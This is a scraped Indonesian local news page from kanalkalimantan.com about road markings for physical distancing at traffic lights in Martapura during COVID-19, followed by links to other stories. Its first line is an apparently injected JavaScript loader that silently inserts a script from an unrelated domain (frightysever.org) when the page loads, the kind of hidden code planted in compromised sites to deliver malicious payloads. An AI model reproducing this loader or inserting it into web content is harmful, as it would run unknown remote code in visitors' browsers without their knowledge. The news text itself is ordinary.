(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Hari kedua sosialisasi social distancing dan physical distancing di marka lalu lintas di dua traffic light di Kota Martapura, Kamis (3/9/2020) ditandai dengan mulai ‘akrabnya’ pengendara dengan garis atau penanda jaga jarak.
Pantauan kanalkalimantan.com, sejumlah pengendara dua yang berhenti saat lampu merah di traffic light perempatan Sekumpul langsung menempati posisi sesuai garis yang dibikin Dishub Banjar beberapa hari sebelumnya.
Meski demikian, lain halnya dengan pengendara atau pengemudi dari luar daerah yang baru kali itu lewat Kota Martapura dan belum tahu akan aturan baru itu.
Ada sejumlah mobil yang seharusnya berada di belakang barisan roda dua justru berhenti di tempat atau posisi roda dua.
“Pada intinya sebagian besar sudahmengerti dan menaati aturan. Kalaupun ada yang berhenti di posisi yang bukan semestinya itu cuma karena belum tahu atau pengendara dari luar Martapura. Bertahap kami lakukan sosialisasi,” ujar Kabid LLPD Faisal ST MM ddidampingi Kanit Dikyasa Polres Banjar Iptu H Tata.
Menurut dia, sosialisasi dilakukan hingga Selasa (8/9/2020) dan diharapkan pengendar banyak yang sudah tahu dan menaati aturan.
Sementara, Kanit Dikyasa Polres Banjar Iptu H Tata, mengimbau para pengendara tetap memakai masker dan menjaga kebersihan.
Seperti diketahui dan diberitakan sebelumnya, Kepala Dishub Banjar Drs H Aspihani MAP, menjelaskan, sosialisasi dilakukan dalam rangka persiapan menuju era tatanan baru (new normal).
“Maka kami, Dinas Perhubungan dan Polres Banjar serta dibantu oleh Saka Bhakti Husada binaan Dinas Kesehatan melaksanakan sosialisasi physical distancing di marka lalu lintas untuk pengguna roda dua dan roda empat pada saat menunggu di traffic light dengan simulasi jaga jarak sesuai dengan marka jalan yang disiapkan,” katanya.
Harapannya, sambung Aspihani, semua pengendara roda dua dan roda empat dapat memahami dan mengerti social distancing dan physical distancing dalam berkendara.
“Tidak hanya di tempat-tempat umum dan nantinya dapat menekan angka penyebaran virus corona di jalan raya,” ujar dia. (kanalkalimantan.com, dhani)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.